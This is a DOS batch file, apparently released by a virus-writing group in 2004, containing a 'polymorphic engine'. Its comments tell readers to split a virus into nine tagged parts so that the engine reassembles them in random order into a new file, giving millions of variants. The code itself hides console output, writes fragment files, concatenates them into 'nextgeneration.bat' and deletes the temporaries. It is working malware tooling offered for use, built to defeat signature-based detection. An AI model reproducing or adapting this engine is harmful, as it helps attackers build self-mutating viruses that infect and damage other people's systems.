@echo off

:: Batch Body Changing Engine
:: by philet0ast3r [rRlf]
:: finished: 13.01.2004, 05:09:09
:: ...
:: This is the first pure batch polymorphic engine ... to be released. Toro wrote something
:: similar, but did not release it (as far as i know). Greets to him at this place.
:: It uses a slightly modified version of my Batch Random Number Generator v2.3
:: to put the numbers 0-9 in random order.
:: Divide your virus into 9 parts, and put each part where the "echo [this could be part x]"
:: is. Don't forget to tag each line with %px% (in case you didn't get it: x is the
:: number of the part ;). This is important for the engine to recognize, to which part the
:: specific line belongs. All parts are executed and exported into different files.
:: Part 0 is the engine itself. It gets the 10 digit random number (every digit a
:: different number ... might take some time) and uses it to put the part-files together
:: again. (to nextgeneration.bat ... when used in a virus, you might want to change this ...
:: and remove the echo comments ;). Done.
:: btw: This makes 3.628.800 different versions with pure batch.
:: Not bad, huh?!
:: ...
:: greets to everyone who knows and likes me
:: ...
:: philet0ast3r@rRlf.de
:: www.rRlf.de

:1 %p1%
find "p1"<%0>1.rR
%p1%echo [this could be part 1]
%p1%goto 2
:2 %p2%
find "p2"<%0>2.rR
%p2%echo [this could be part 2]
%p2%goto 3
:3 %p3%
find "p3"<%0>3.rR
%p3%echo [this could be part 3]
%p3%goto 4
:4 %p4%
find "p4"<%0>4.rR
%p4%echo [this could be part 4]
%p4%goto 5
:5 %p5%
find "p5"<%0>5.rR
%p5%echo [this could be part 5]
%p5%goto 6
:6 %p6%
find "p6"<%0>6.rR
%p6%echo [this could be part 6]
%p6%goto 7
:7 %p7%
find "p7"<%0>7.rR
%p7%echo [this could be part 7]
%p7%goto 8
:8 %p8%
find "p8"<%0>8.rR
%p8%echo [this could be part 8]
%p8%goto 9
:9 %p9%
find "p9"<%0>9.rR
%p9%echo [this could be part 9]
%p9%goto 0
:0 %p0%
find "p0"<%0>0.rR
%p0% echo [this is part 0, the engine itself]
%p0%ctty nul
%p0%set a=a
%p0%goto r
:x %p0%
%p0%if %a%==i set a=j
%p0%if %a%==h set a=i
%p0%if %a%==g set a=h
%p0%if %a%==f set a=g
%p0%if %a%==e set a=f
%p0%if %a%==d set a=e
%p0%if %a%==c set a=d
%p0%if %a%==b set a=c
%p0%if %a%==a set a=b
:r %p0%
%p0%ver|time|find ",1">nul
%p0%if not errorlevel 1 set r=1
%p0%ver|time|find ",2">nul
%p0%if not errorlevel 1 set r=2
%p0%ver|time|find ",3">nul
%p0%if not errorlevel 1 set r=3
%p0%ver|time|find ",4">nul
%p0%if not errorlevel 1 set r=4
%p0%ver|time|find ",5">nul
%p0%if not errorlevel 1 set r=5
%p0%ver|time|find ",6">nul
%p0%if not errorlevel 1 set r=6
%p0%ver|time|find ",7">nul
%p0%if not errorlevel 1 set r=7
%p0%ver|time|find ",8">nul
%p0%if not errorlevel 1 set r=8
%p0%ver|time|find ",9">nul
%p0%if not errorlevel 1 set r=9
%p0%ver|time|find ",0">nul
%p0%if not errorlevel 1 set r=0
%p0%if %r%==1 goto z
%p0%if %r%==2 goto z
%p0%if %r%==3 goto z
%p0%if %r%==4 goto z
%p0%if %r%==5 goto z
%p0%if %r%==6 goto z
%p0%if %r%==7 goto z
%p0%if %r%==8 goto z
%p0%if %r%==9 goto z
%p0%if %r%==0 goto z
%p0%goto r
:z %p0%
%p0%if %r%==%ra% goto r
%p0%if %r%==%rb% goto r
%p0%if %r%==%rc% goto r
%p0%if %r%==%rd% goto r
%p0%if %r%==%re% goto r
%p0%if %r%==%rf% goto r
%p0%if %r%==%rg% goto r
%p0%if %r%==%rh% goto r
%p0%if %r%==%ri% goto r
%p0%set r%a%=%r%
%p0%set r=
%p0%if not %a%==j goto x
%p0%echo @echo off>s.rR
%p0%echo goto 1>>s.rR
%p0%copy s.rR + %ra%.rR + %rb%.rR + %rc%.rR + %rd%.rR + %re%.rR + %rf%.rR + %rg%.rR + %rh%.rR + %ri%.rR + %rj%.rR nextgeneration.bat
%p0%del *.rR
%p0%ctty con
%p0%echo [done, nextgeneration.bat contains the parts mixed up in one of
%p0%echo 3.628.800 different ways]
%p0%exit